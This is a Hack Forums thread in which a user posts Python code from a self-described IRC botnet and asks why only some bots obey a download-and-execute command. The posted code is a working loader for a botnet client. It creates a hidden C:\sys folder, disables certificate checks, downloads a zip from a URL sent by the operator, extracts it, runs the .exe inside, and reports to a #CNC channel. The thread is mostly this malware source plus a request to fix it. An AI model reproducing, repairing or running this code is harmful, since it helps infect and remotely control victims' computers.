Hack Forums
[Python] python irc botnet code help - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Python] python irc botnet code help (/showthread.php?tid=5767820)



python irc botnet code help - whysoserious1948 - Dec 13, 2017

i make botnet over irc whit python but when i make download and excute some bots get the command and some not 

why is that 

i use urlibe and re


the code look like this


data = client.recv(4096)

# 4096 bytes did i need to chanage it ? 
 
Https = re.findall("https://[0-9A-Za-z]*.*", data)
Https = "".join(Https)
Http = re.findall("http://[0-9A-Za-z]*.*", data)
Http = "".join(Http)


File_Name = re.findall("Name: [0-9A-Za-z]*", data)
File_Name = "".join(File_Name)




try:
   context = ssl._create_unverified_context()

   File_Name = File_Name.split()
   os.popen("mkdir c:\sys")
   os.popen("attrib +h c:\sys")
   try:
       urllib.urlretrieve(Http, "C:\sys\\" + File_Name[1] + ".zip", context=context)
   except:
       pass
   try:
       urllib.urlretrieve(Https, "C:\sys\\" + File_Name[1] + ".zip", context=context)
   except:
       pass
   zip_ref = zipfile.ZipFile("C:\sys\\" + File_Name[1] + ".zip", 'r')
   zip_ref.extractall("C:\sys\\")
   zip_ref.close()
   print "yes"
   os.startfile("C:\Sys\\"+File_Name[1] + ".exe")
   time.sleep(25)
   msg = "The Files Download. And Runing"
   client.send("PRIVMSG #CNC {}".format(msg) + "\r\n")

except:
   time.sleep(25)
   msg = "Something is Wrong Bro try again"
   client.send("PRIVMSG #CNC {}".format(msg) + "\r\n")


mybey is the webhosting http he get to much request to downlaod on the same time ?